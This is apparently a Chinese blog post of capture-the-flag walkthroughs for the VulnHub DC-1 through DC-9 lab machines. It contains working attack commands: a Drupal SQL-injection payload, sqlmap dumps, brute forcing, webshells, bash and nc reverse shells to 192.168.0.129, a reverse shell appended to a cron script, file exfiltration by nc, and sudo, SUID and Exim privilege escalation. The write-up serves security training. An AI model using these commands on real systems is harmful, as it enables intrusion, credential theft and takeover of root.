Vulnhub—DC

DC-1

简介

image-20220610145544679

下载

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220610193843240

经过筛选可以知道192.168.0.150 是DC-1的ip

端口扫描

nmap  -p- 192.168.0.150 

image-20220610193725650

可以这里开启了22、80、111端口

我们先从80端口入手

image-20220610194026402

这里可以发现用的是DrupalCMS

渗透

Flag1

启动msf,搜索下Drupal可用的EXP

search Drupal

image-20220610200148643

这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.150
show options

image-20220610204625788

run

image-20220610204705275

这样我们就可以成功得到一个会话。

我们用会话返回一个shell

image-20220610204746157

查看目录,获取flag1

image-20220610204820101

Every good CMS needs a config file - and so do you.

翻译:每个好的 CMS 都需要一个配置文件——你也一样。

这里也就是提示说去查看DrupalCMS的配置文件

Flag2

DrupalCMS的默认配置文件为 /var/www/sites/default/settings.php

image-20220610205323892

这里我们获得数据库的账号dbuser和密码R0ck3t

  • flag2
  • Brute force and dictionary attacks aren't the
  • only ways to gain access (and you WILL need access).
  • What can you do with these credentials?

翻译:

  • 蛮力和字典攻击不是
  • 获得访问权限的唯一方法(您将需要访问权限)。
  • 您可以使用这些凭据做什么?

Flag3

这里我们直接连接mysql之后shell会没有反应的

这里我们需要用python转换成标准的shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20220610210110558

连接mysql

image-20220610210225725

常规的mysql查询

image-20220610210444083

image-20220610210512242

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错

image-20220610211346668

但是可以查到

明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

直接update更新admin密码

update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

然后进行登录

image-20220610211727232

经过查看可以发现Flag3

image-20220610211834805

image-20220610211845104

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

翻译:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。

这里提示我们提示用find -exec,想到用suid提权

Flag4

使用find / -name flag*.txt命令,直接来查找flag文件,获取到flag4

image-20220610212236928

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

翻译:

您可以使用相同的方法在 root 中查找或访问标志吗?
大概。但也许这并不容易。或者也许是?

提权

使用find找下具有root权限的suid

find / -perm -u=s -type f 2>/dev/null

image-20220610212506446

可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec "whoami" \;

image-20220610212827099

可以发现这使用的root用户权限

那么我们接下来用find提权

find / -name flag4 -exec "/bin/sh" \;

image-20220610213016338

这里可以发现已经是root用户了

image-20220610213214076

这算是预期解了,按照顺序下来的

非预期解

首先用nmap -A --script=vuln 192.168.0.150扫描靶机

开放了80和22端口,并且存在cve-2014-3704

image-20220610214457129

漏洞利用

image-20220610214659869

cve-2014-3704这个漏洞是sql注入,能直接数据库添加用户名和密码
payload

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'root'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a

将上述payload贴进来,发包后,将会创建一个用户名为:root 密码:thanks的账户

image-20220610220213044

成功用新用户登录进去

然后同样的可以找到flag3

flag3提示用find -exec,想到用suid提权

来到modules,开启php filter

image-20220610221813040

新建articel文章,并写入php一句话木马,底下的text format换成PHP code

image-20220610222041396

文章成功发布后,使用蚁剑连接

然后的流程和预期解差不多

也可以根据提示直接提权


DC-2

简介

image-20220611205847720

下载

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220611210011507

经过筛选可以知道192.168.0.131 是DC-2的ip

端口扫描

nmap  -p- 192.168.0.150 

image-20220611210409680

可以这里开启了80、7744端口

根据信息可知7744端口为SSH

我们先从80端口入手

返回一个错误页面,F12可以看到网页做了一个301永久重定向

image-20220611210535131

image-20220611210715923

我们编辑下Kali的hosts文件

vim /etc/hosts

添加一条记录

192.168.61.162 dc-2

image-20220611210856430

再次打开dc-2,即可正常显示

image-20220611211017510

渗透

Flag1

在页面中就可以找到flag1

image-20220611211129170

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

翻译:

Flag 1:
您通常的单词表可能不起作用,因此,也许您只需要成为 cewl。
更多的密码总是更好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以另一个身份登录。

这里提示我们要使用cwel来生成密码字典

cewl dc-2 > pwd.txt&&cat pwd.txt

image-20220611211430807

然后用wpscan枚举出当前存在的用户,并存入username.txt中

image-20220611211833410

然后这里我们可以看见当前存在admin、jerry、tom三个用户

image-20220611212142843

Flag2

然后我们用刚刚生成的username.txt和pwd.txt进行账号密码遍历

wpscan --url http://dc-2/ -U username.txt -P pwd.txt

image-20220611212351043

[SUCCESS] - jerry / adipiscing                                       
[SUCCESS] - tom / parturient

然后我们打开wp的管理后台,一般都是wp-admin

image-20220611212516664

先尝试用jerry登录,发现flag2

image-20220611212621342

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

翻译:

Flag 2:

如果您不能利用 WordPress 并走捷径,还有另一种方法。
希望你找到另一个切入点。

说我们无法攻击WP,我们需要寻找别的方法

然后登录tom

但是在tom的账号中也没有什么额外的发现

Flag3

然后靶机除了80还有7744(SSH)端口,我们也可以用这2个账号尝试下

image-20220611213203571

jerry无法登录SSH,tom顺利登录SSH

查看tom用户可以执行命令

echo $PATH
echo /home/tom/usr/bin/*

image-20220611213358182

发现能执行的命令非常少,只能执行less,ls,scp,vi

先ls,发现flag3.txt,然后用vi获取flag3的内容(也可以使用less)

image-20220611213537069

image-20220611213558610

Flag 3:

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes

翻译:

Flag 3:

可怜的老汤姆总是追着杰瑞跑。 也许他应该为他造成的所有压力感到不安

这个意思感觉可能是要我们su到jerry,但是我们无法使用su命令,玩呢?

648124-a3eba3e0439ea3a4

所以我们需要绕过rbash(受限的bash)

这里可以两种绕过方式

  1. vi绕过

    vi
    :set shell=/bin/bash
    :shell
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin

    进入vi命令行模式后,输入后:set shell=/bin/bash然后回车

    image-20220611220742084

    这时候光标会跑到第一行,不用管它

    image-20220611220757791

    继续进入命令行,输入:shell,回车后,会得到一个shell

    image-20220611214848983

    image-20220611214912388

    看起来跟原来的一模一样,但是不急,依次输入

    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin

    这两条命令后,已经绕过了rbash了,并且成功使用cat命令

    image-20220611215125985

  2. BASH_CMDS[a]=/bin/sh;a 绕过

    BASH_CMDS[a]=/bin/sh;a
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin

    image-20220611215319884

Flag4

接下来就切换到jerry用户,而tom的ssh密码和web登陆是一样的,所以jerry也可以直接尝试之前得到的WP的密码

输入su jerry 密码:adipiscing,成功登陆,但是这里现在是在tom的home目录下

image-20220611215535870

切换到jerry的家目录就可以得到flag4.txt

image-20220611215756414

Flag 4:

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. 🙂

Go on - git outta here!!!!

翻译:

Flag 4:

很高兴看到你已经走到了这一步——但你还没有回家。
您仍然需要获得最终标志(唯一真正重要的标志!!!)。
这里没有任何提示——你现在就靠你自己了。 🙂
继续 - 离开这里!!!!

提权

Flag4虽然说着没有提示了,但是还是提示用git提权到root

sudo -l 查询root权限

可看到/usr/bin/git是root权限执行,并且不需要密码

image-20220611220201058

那么接下来就是提权了

  1. 第一种

    sudo git help config
    !/bin/bash
  2. 第二种

    sudo git branch --help config
    !/bin/bash
  3. 第三种

    TF=$(mktemp -d)
    ln -s /bin/sh "$TF/git-x"
    sudo git "--exec-path=$TF" x
    !/bin/bash

这里就用第一种吧

输入sudo git help config后,会强行分页显示

image-20220611220434950

然后和之前绕过rbash一样

直接继续输入!/bin/bash回车

image-20220611221011017

image-20220611221026702

然后这就提权成功了

然后在root目录下找到final-flag

image-20220611221230905


DC-3

简介

image-20220612153658026

下载

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220612153755868

经过筛选可以知道192.168.0.152 是DC-3的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.152

image-20220612154101200

发现这里只是开了80端口

看下80端口,通过wappalyzer,发现用的是JoomlaCMS,而且用的是PHP

image-20220612154242681

同时主页也给我们提示,表明这个靶机只有一个flag

DC-3

Home

Welcome to DC-3Details

  • Written by admin

Welcome to DC-3.

This time, there is only one flag, one entry point and no clues.

To get the flag, you'll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge. 🙂

You are here: Home

翻译:

DC-3

欢迎来到 DC-3 详情

  • 由管理员撰写

欢迎来到 DC-3。

这一次,只有一个标志,一个入口,没有任何线索。
要获得标志,您显然必须获得 root 权限。
如何成为 root 取决于您 - 显然,取决于系统。
祝你好运 - 我希望你喜欢这个小挑战。 🙂

你在这里:首页

这里我们可以用御剑扫目录出后台

image-20220612154922036

http://192.168.127.134/administrator/index.php 查看后台

image-20220612155049042

msf中搜索Joomla

image-20220612155359490

这里我们先使用auxiliary/scanner/http/joomla_version查看版本信息

image-20220612155548390

这里就可以得知这里使用的Joomla版本是3.7.0

渗透

登录后台

然后可以查到这个版本是有sql注入exploit链接 ,直接sqlmap梭哈

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到数据库

image-20220612160012404

除了joomladb都是系统自带的库

然后查表

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

这查出76张表

image-20220612160735541

我们还是先关注user表

image-20220612160820531

查列名

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

image-20220612161039388

然后查username和password

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]

image-20220612161242216

这里也可以直接用利用工具直接梭哈

image-20220612161640756

cmd5查不到

image-20220612161744699

没办法,只好用john了

image-20220612162109045

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
-->snoopy

我们尝试进行登陆,发现是正确的账号密码

账号:admin
密码:snoopy

image-20220612163159332

上传一句话木马

这里可以找到用编辑模板的方式上传webshell

image-20220612163428992

我们这里直接编辑Protostar Details and Files模板

image-20220612164836472

然后直接编辑index.php,写入一句话木马

image-20220612165037513

然后我们访问下这个http://192.168.0.152/,没有出现404说明成功上传

image-20220612165146137

提权

使用蚁剑成功连接

image-20220612170508132

来到终端输入uname -alsb_release -a

image-20220612170542503

搜索利用模块searchsploit ubuntu 16.04 4.4

image-20220612170756347

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation,此模块可提权成功

Exp

unzip 39772.zip
cd /var/www/html/39772/
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
chmod u+x compile.sh
./compile.sh
./doubleput

image-20220612171421485

可以看到在蚁剑的终端并没提权成功

后来我换了nc连接shell,index.php编辑内容为<?php system(“bash -c ‘bash -i >& /dev/tcp/192.168.0.129/4444 0>&1’”) ?>

开启监听,然后刷新网页,成功连上

image-20220612171808169

执行相同的命令,成功提权

image-20220612172311134


DC-4

简介

image-20220613215454419

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220613215530867

经过筛选可以知道192.168.0.151是DC-4的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.151

image-20220613215632097

发现这里只是开了22、80端口

看下80端口,是一个登陆界面

image-20220613220049309

登录页面,尝试弱口令登录

这里可以用Wfuzz来进行爆破

# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d  : 请求体设置
wfuzz -c -t 20 -w /root/Desktop/fuzz/username.txt -w /root/Desktop/fuzz/password.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.0.151/login.php

发现弱密码是可以爆破出来的

image-20220613232211518

得到账号和密码

admin - happy

渗透

登陆

image-20220613232353986

然后试一下

image-20220613232421917

发现这类似于命令执行

burp抓包

image-20220613232559049

可以发现这里直接就是传了一个ls -l的目录查看命令,中间的空格被换成了+

那这里我们直接传一个直接反弹shell

首先kali开启监听

image-20220613232827907

将数据包发送到Repeater模块,然后改成nc+-e+/bin/bash+192.168.0.129+4444再发送

image-20220613233129637

image-20220613233140367

连接成功

用python转换成标准的shell

python -c "import pty;pty.spawn('/bin/bash')"

查看下passwd看看有什么用户适合提权

发现charles、jim、sam这个三个用户

去它们的home目录看下有没有什么收获

charles:

image-20220613233715141

没有啥发现

jim:

image-20220613233930330

backups——备份

好东西

image-20220613234012386

找到一个old-passwords.txt的备份

将这些密码复制下来并对jim进行ssh爆破,因为在信息收集的阶段我们看到靶机是打开了22端口

可以用nc进行文件传输

这里可以用nc进行文件传输

# Kali
nc -nvlp 5555 > old-passwords.txt
# DC4
nc 192.168.0.129 5555 < /home/jim/backups/old-passwords.bak

image-20220613234651067

然后用hydra对jim账号进行SSH爆破

hydra -l jim -P old-passwords.txt ssh://192.168.0.151

image-20220613234936764

[22][ssh] host: 192.168.0.151   login: jim   password: jibril04

登陆jim的ssh,查看有没有sudo权限

image-20220613235048574

然后可以发现在登录SSH提示有邮件,查看下

image-20220613235355258

image-20220613235315940

这是一封Charles发送过来的邮件,里面是说他要放年假了,老板他把密码给jim

这下我们拿到了Charles的密码

^xHhA&hvim0y

ssh切换到Charles

image-20220613235755412

查看Charles的sudo

image-20220613235825953

可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件

我们可以借助teehee直接给charles赋予完全的root权限

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

image-20220614082759899

然后直接用sudo登录root用户

image-20220614082919199

提权成功

非预期解

之前的方法应该就是这个靶机预设的预期解

但是在查看邮件的时候还有一个非预期解

image-20220614083307823

这里可以了解到Exim的版本为4.89

这个版本有一个CVE-2019-10149可以使用

searchsploit Exim

image-20220614083703247

searchsploit -p linux/local/46996.sh

image-20220614084116934

开启python的HTTP服务

image-20220614084028680

image-20220614084410974

通过wget进行exp下载,赋予执行权限并执行

image-20220614085924858


DC-5

简介

image-20220615145221482

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220615145304179

经过筛选可以知道192.168.0.149是DC-5的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.149

image-20220615145345740

发现这里只是开了80、111、53909端口

首先还是从80端口入手

image-20220615145610138

打开的界面是这样的,看了好久没有发现有什么问题

没办法最后还是看了wp

contact.php页面下,提交

首先显示显示的是

image-20220615155750940

这里是2019

提交之后显示的2017

image-20220615155815306

如果是静态包含的话可能就没有办法了,得是动态文件包含我们才有机会,再加上还要爆破是使用什么参数传递包含文件的,这里只有赌他是动态文件包含

用御剑扫目录,扫到了http://192.168.0.149/footer.php

这个目录是

image-20220615155941668

这里就存在文件包含了

渗透

尝试文件包含

image-20220615160406694

确定为文件包含漏洞,这里我们就尝试能不能能不能上传一句话拿到后台,因为已经知道web服务器是nginx

查看Nginx配置文件

/etc/nginx/nginx.conf

image-20220615175747486

access_log存放位置

/var/log/nginx/access.log

error_log存放位置

/var/log/nginx/error.log

访问access.log(如果access.log报错的话可以换error.log试一试)

image-20220615180315833

显示了日志文件,然后先上传phpinfo看是否会运行;

image-20220615180627968

image-20220615180637941

phpinfo成功执行

现在上传一句话木马

image-20220615181615383

上传成功

image-20220615181803884

蚁剑连接成功

因为日志时常在更新,所以连接可能会不稳定,我们上传一个shell.php到tmp目录下重新连接一下;

然后直接反弹shell

image-20220615184957453

image-20220615185115198

使用find命令,查找具有root权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20220615185414054

这里可以看到有一个screen-4.5.0命令

查找screen 4.5.0漏洞并利用

image-20220615185732099

修改文件格式:set ff=unix

kali——python开启http服务

image-20220615191851042

靶机——用wget获取exp

image-20220615191940288

加执行权限:chmod 777 41154.sh,并执行

image-20220615201655035

image-20220615201727559


DC-6

简介

image-20220701194033032

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220701194418916

经过筛选可以知道192.168.0.141是DC-6的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.141

image-20220701194442156

发现这里只是开了80、22端口

首先从80端口入手

image-20220701194527183

这和之前DC-2是一样的

返回一个错误页面,F12可以看到网页做了一个301永久重定向

修改hosts文件

image-20220701194757329

再次打开正常显示

image-20220701194843531

这里可以看出这又是一个wordpress的页面

然后页面显示的信息跟插件有关

这个题目在官网中还给了线索

image-20220701195403471

CLUE
好吧,这并不是一个真正的线索,但对于那些只想继续工作的人来说,更多的是一些“我们不想花五年时间等待某个过程完成”的建议。
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt 这应该可以为您节省几年时间。 😉

这个线索之后有用的

然后我们还是常规先获取一下用户名

wpscan --url http://wordy/ -e u

image-20220704172304025

能够得到以上用户

image-20220704172402263

然后密码的话就要用到之前官网上给到的提示了

根据提示我们可以得到密码表

image-20220704172603098

然后通过用户名表和密码表爆破后台账号

wpscan --url http://wordy/ -U username.txt -P passwords.txt

image-20220704173139790

找到用户名和密码

登录后台

image-20220704173623004

登录成功,但是其他地方都没有发现有什么问题,但是这个使用了一个插件Activity monitor

渗透

使用msf搜索这个插件

searchsploit activity monitor

image-20220704174119658

这里我们使用第三个

cp /usr/share/exploitdb/exploits/php/webapps/45274.html .

这里我们需要修改的是请求地址和反弹shell的地址

image-20220704174401136

然后python开启http服务并且还要监听9999端口

image-20220704174552539

image-20220704174605819

然后访问127.0.0.1

image-20220704174700176

点击请求

image-20220704174815533

反弹shell成功

然后用python转换成标准的shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20220704175058074

然后在home目录下可以看到四个用户

image-20220704175221328

然后在mark的stuff目录下找到了一个things-to-do.txt文件

image-20220704175540027

这里有graham的密码

我们ssh登录graham

image-20220704175647005

查看当前用户可以执行的操作,发现可以运行jens用户下面的backups.sh

image-20220704175919857

查看backups.sh文件,发现是对web的文件进行打包备份

image-20220704180154725

向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本

image-20220704180351752

脚本执行完成后,可以发现切换到jens用户了

提权

再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令

image-20220704180413284

这里其实也还有个提示

image-20220704180847699

写入一条命令到getShell,通过nmap运行getShell成功进入root用户

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell

image-20220704181038111

提权成功

cd ~
cat theflag.txt

image-20220704181220878


DC-7

简介

image-20220704185700026

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220704185749823

经过筛选可以知道192.168.0.153是DC-7的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.153

image-20220704185805303

发现这里只是开了80、22端口

首先从80端口入手

image-20220704185837038

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. 🙂

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box. 🙂

翻译:

DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 🙂
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出框框思考。
方式“外”框。 🙂

CMS还是Drupal

但是这个靶机直接换了一种玩法,这是没想到的

image-20220704185942370

这一题需要注意到这个地方

我们直接搜索,能发现有一个GitHub的用户,进去看能够发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口

image-20220704190306190

员工数据库
这是 DC-7 挑战的一些“代码”(是的,它不是最好的代码,但这不是重点)。
顺便说一句,这不是一面旗帜,但如果你在这里做到了,无论如何都做得很好。 🙂

将源码下载到本地

git clone  https://github.com/Dc7User/staffdb

分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码

image-20220704190543249

渗透

用SSH链接靶机,登录dc7user发现可以成功连接

image-20220704190706241

image-20220704191449143

打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下

image-20220704191541291

进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush

gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码

image-20220704191738982

进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456

image-20220704191917745

然后就可以使用admin/123456登录后台了

image-20220704192038703

一般流程就是发布一篇新的文章,写入shell

但是Drupal 8没有为了安全,需要将php单独作为一个模块导入

image-20220704200716814

Php介绍页面如下,模块包下载地址也附上

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20220704200832882

image-20220704200916211

Install后跳转到模块添加成功页面,然后去激活这个模块

image-20220704201040523

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示

image-20220704201333057

然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码

image-20220704201946749

蚁剑连接,成功连接getshell

image-20220704202115821

提权

然后还是并反弹shell到kali,切换shell外壳

nc -e /bin/bash 192.168.0.153 8888
nc -lvvp 8888

image-20220704202623274

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

写入反弹shell代码到backups.sh脚本文件中,并在kali监听5555端口,等待执行计划任务,成功getshell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.129 5555 >/tmp/f" >> backups.sh

image-20220704214941077

然后就是去root目录下找flag了

image-20220704215126291


DC-8

简介

image-20220705114732114

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220705114820905

经过筛选可以知道192.168.0.154是DC-8的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.154

image-20220705114948089

发现这里开了80、22端口

首先从80端口入手

image-20220705115021130

这里还是一样的用的Drupal的CMS

这一题的入口点在主页的Details中

image-20220705115224549

点击之后能在url中发现是用id形式的显示,这里能够猜测应该存在SQL注入

sqlmap一把梭

#爆库
sqlmap -u "http://192.168.0.154/?nid=1" --dbs --batch
#爆表名
sqlmap -u "http://192.168.0.154/?nid=1" -D d7db --tables --batch  
#爆列名
sqlmap -u "http://192.168.0.154/?nid=1" -D d7db -T users --columns --batch
#爆数据
sqlmap -u "http://192.168.0.154/?nid=1" -D d7db -T users -C name,pass --dump --batch

image-20220705120649636

得到admin和John两个用户,密码是MD5加密的

John这个用户名就很有意思,这也就是提示我们用John爆出这个密码

然后admin的密码爆不出来

john的密码是turtle

登录地址可以路径爆破出来

image-20220705125244215

渗透

然后用john/turtle登录成功

image-20220705125350675

然后的任务就是找到可以上传php代码的地方

image-20220705125656394

最后是在这里找到的

写入反弹shell代码并保存

image-20220705130109176

然后在反馈

页面填写信息提交,反弹shell就成功了

image-20220705130259120

提权

切换shell

python -c "import pty;pty.spawn('/bin/bash')"

看看有没有内核提权

uname -a

image-20220705130703821

查看具有root权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20220705130755769

发现了exim4,查看版本

image-20220705130856442

版本4.89,查看是否存在漏洞

image-20220705131050165

将exp复制出来

cp /usr/share/exploitdb/exploits/linux/local/46996.sh .

修改exp脚本执行编码

:set ff=unix

python开启http服务

python3 -m http.server 80

靶机切换到tmp目录下,下载文件

image-20220705132141144

赋予权限

chmod +x 46996.sh

执行

./46996.sh -m netcat

image-20220705132350364

提权成功

查看flag

image-20220705132513556


DC-9

简介

image-20220708162144884

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220708162225380

经过筛选可以知道192.168.0.155是DC-9的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.155

image-20220708162527433

发现这里开了80端口,22被策略保护处于关闭状态

首先从80端口入手

image-20220708162541333

翻看页面能发现有一个搜索页面

image-20220708162806066

渗透

看到搜索页面sql注入的感觉就来了

复制数据包直接SQLmap冲

sqlmap -r post.txt --dbs
sqlmap -r post.txt -D Staff --tables 
sqlmap -r post.txt -D Staff -T Users --columns
sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump --batch

最后得到admin账号和密码(admin / transorbital1)

image-20220708163811130

但是登录后台之后好像并没有什么用

最后找到的是文件包含漏洞

在登录之后的manage页面和新出现的页面的下方出现了

File does not exist

文件不存在?

尝试一下payload

?file=../../../../../../../etc/passwd

image-20220708164859119

成功读文件,确认存在LFI

但是这也这是读取一些文件,不能getshell

然后因为在之前爆破数据库的时候还可以看到存在一个users的数据库

image-20220708165343999

sqlmap -r post.txt -D users --tables
sqlmap -r post.txt -D users -T UserDetails --columns
sqlmap -r post.txt -D users -T UserDetails -C username,password --dump --batch

image-20220708165944902

然后我们可以看一下/proc/sched_debug文件,这里是记录的调度器的信息

image-20220708171804282

然后可以在返回信息里找到konckd

端口保护之端口敲门

大致就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制

包含/etc/konckd.conf可以查看端口敲门的策略

image-20220708173854218

依次nc这三个端口

nc 192.168.0.155 7469
nc 192.168.0.155 8475
nc 192.168.0.155 9842

image-20220708174621554

然后nmap就能发现22端口打开了

image-20220708174603440

然后用hydra和之前users数据库中的用户名和密码进行爆破

image-20220708175619985

得到三个用户

然后都ssh登录进去看看

然后是在janitor用户中找到了一个隐藏文件夹.secrets-for-putin

image-20220708180004394

里面是一文件有一些新的密码

image-20220708180207774

把这些密码加到之前的密码本里再次进行爆破

image-20220708180534124

这里又爆出一个新的用户

shh登录

image-20220708181146234

提权

然后列出权限

image-20220708181240259

执行发现是python文件

image-20220708181354296

用find查找test.py

image-20220708181534016

大致意思来说的话就是将参数1的内容写到参数2

使用openssl 创建一个admin的账号

openssl passwd -1 -salt admin 123456

image-20220708181801608

然后修改成passwd中的格式写到/tmp目录下

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

image-20220708182343933

然后运行test 使用命令:sudo ./test /tmp/passwd.txt /etc/passwd

再查看一下/etc/passwd

image-20220708182708402

可以发现新增了一条我们自己写得记录

然后su 切换admin 用户

image-20220708182759529

现在可以发现已经是root权限了

找flag

image-20220708183011972

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇